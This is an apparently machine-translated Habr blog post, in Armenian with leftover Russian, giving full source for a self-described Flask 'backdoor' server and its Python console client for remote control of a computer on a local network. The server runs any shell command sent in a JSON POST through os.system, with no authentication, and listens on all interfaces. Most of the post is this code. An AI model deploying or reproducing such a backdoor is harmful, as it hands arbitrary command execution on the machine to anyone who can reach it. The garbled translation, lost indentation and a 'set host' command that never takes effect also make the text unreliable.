Հե՜յ Հաբր։
Վերջերս ես դիտեցի «Ինչպես ստեղծել ձեր սեփական վեբ հավելվածը Flask-ում» ծրագրավորման հոսքի ներբեռնված տարբերակը: Եվ ես որոշեցի գիտելիքներս համախմբել ինչ-որ նախագծում։ Երկար ժամանակ ես չգիտեի, թե ինչ գրել, և միտքս ծագեց.
Հետևի դռան ներդրման և հնարավորությունների առաջին տարբերակները անմիջապես հայտնվեցին իմ գլխում։ Բայց ես որոշեցի անմիջապես կազմել backdoor-ի հնարավորությունների ցուցակը.
- Իմացեք, թե ինչպես բացել կայքեր
- Ունեցեք հրամանի տող մուտք
- Կարողանալ բացել ծրագրեր, լուսանկարներ, տեսանյութեր
Այսպիսով, առաջին կետը չափազանց հեշտ է իրականացնել՝ օգտագործելով webbrowser մոդուլը: Ես որոշեցի իրականացնել երկրորդ կետը՝ օգտագործելով os մոդուլը։ Եվ երրորդը նույնպես os մոդուլի միջոցով է, բայց ես կօգտագործեմ «հղումներ» (այդ մասին ավելի ուշ):
Սերվեր գրելը
Այսպիսով, *drumroll* ամբողջ սերվերի կոդը.
from flask import Flask, request
import webbrowser
import os
import re
app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
json_string = request.json
if json_string['command'] == 'test':
return 'The server is running and waiting for commands...'
if json_string['command'] == 'openweb':
webbrowser.open(url='https://www.'+json_string['data'], new=0)
return 'Site opening ' + json_string['data'] + '...'
if json_string['command'] == 'shell':
os.system(json_string['data'])
return 'Command execution ' + json_string['data'] + '...'
if json_string['command'] == 'link':
links = open('links.txt', 'r')
for i in range(int(json_string['data'])):
link = links.readline()
os.system(link.split('>')[0])
return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
app.run(host='0.0.0.0')
Ես արդեն գցել եմ ամբողջ ծածկագիրը, ժամանակն է բացատրելու էությունը։
Ամբողջ կոդը աշխատում է 5000 պորտի տեղական համակարգչում: Սերվերի հետ փոխազդելու համար մենք պետք է JSON POST հարցում ուղարկենք:
JSON հարցման կառուցվածքը.
{‘command’: ‘comecommand’, ‘data’: ‘somedata’}
Դե, իմաստալից է, որ «հրամանն» այն հրամանն է, որը մենք ցանկանում ենք կատարել: Իսկ «տվյալները» հրամանի փաստարկներն են:
Դուք կարող եք գրել և ուղարկել JSON հարցումներ՝ սերվերի հետ ձեռքով փոխազդելու համար (հարցերը կօգնեն ձեզ): Կամ կարող եք գրել կոնսոլի հաճախորդ:
Հաճախորդ գրելը
Կոդ `
import requests
logo = ['nn',
'****** ********',
'******* *********',
'** ** ** **',
'** ** ** ** Written on Python',
'******* ** **',
'******** ** **',
'** ** ** ** Author: ROBOTD4',
'** ** ** **',
'** ** ** **',
'******** *********',
'******* ********',
'nn']
p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'
def test():
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
def start():
for i in logo:
print(i)
start()
test()
while True:
command = input('>')
if command == '':
continue
a = command.split()
if command == 'test':
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
if a[0] == 'shell':
for i in range(1, len(a)):
p = p + a[i] + ' '
dict = {'command': 'shell', 'data': p}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
p = ''
if a[0] == 'link':
if len(a) > 1:
dict = {'command': 'link', 'data': int(a[1])}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('Комманда не содержит аргументов!')
if a[0] == 'openweb':
if len(a) > 1:
dict = {'command': 'openweb', 'data': a[1]}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('Комманда не содержит аргументов!')
if a[0] == 'set':
if a[1] == 'host':
ip = a[2] + ':5000'
if command == 'quit':
break
Բացատրություններ:
Առաջին հերթին ներմուծվում է հարցումների մոդուլը (սերվերի հետ շփվելու համար): Ստորև բերված են մեկնարկի և փորձարկման գործառույթների նկարագրությունները: Եվ հետո այն ցիկլը, որում տեղի է ունենում կախարդանքը: Դուք կարդացե՞լ եք կոդը: Այսպիսով, դուք հասկանում եք կախարդության իմաստը, որը տեղի է ունենում ցիկլում: Մուտքագրեք հրամանը - այն կատարվում է: Shell – հրամաններ հրամանի տողի համար (տրամաբանությունն անջատված է մասշտաբով):
Փորձարկում – ստուգեք, արդյոք սերվերը աշխատում է (հետին դուռ)
Հղում – «դյուրանցման» օգտագործում
Openweb – բացել կայք
Դուրս գալ - դուրս գալ հաճախորդից
Սահմանել – տեղադրել ձեր համակարգչի ip-ը տեղական ցանցում
Իսկ հիմա ավելի շատ հղման մասին:
Սերվերի կողքին կա link.txt ֆայլ: Այն պարունակում է հղումներ (ամբողջական ուղի) դեպի ֆայլեր (տեսանյութեր, լուսանկարներ, ծրագրեր):
Կառուցվածքն այսպիսին է.
полный_путь>описание
полный_путь>описание
Լրիվ
Մենք ունենք backdoor սերվեր՝ տեղական ցանցում համակարգիչը կառավարելու համար (wi-fi ցանցի շրջանակներում): Տեխնիկապես մենք կարող ենք գործարկել հաճախորդը ցանկացած սարքից, որն ունի python թարգմանիչ:
Հ.Գ. Ես ավելացրել եմ set հրամանը, որպեսզի եթե լոկալ ցանցում գտնվող համակարգչին այլ IP տրվի, այն հնարավոր լինի փոխել անմիջապես հաճախորդում:
Source: www.habr.com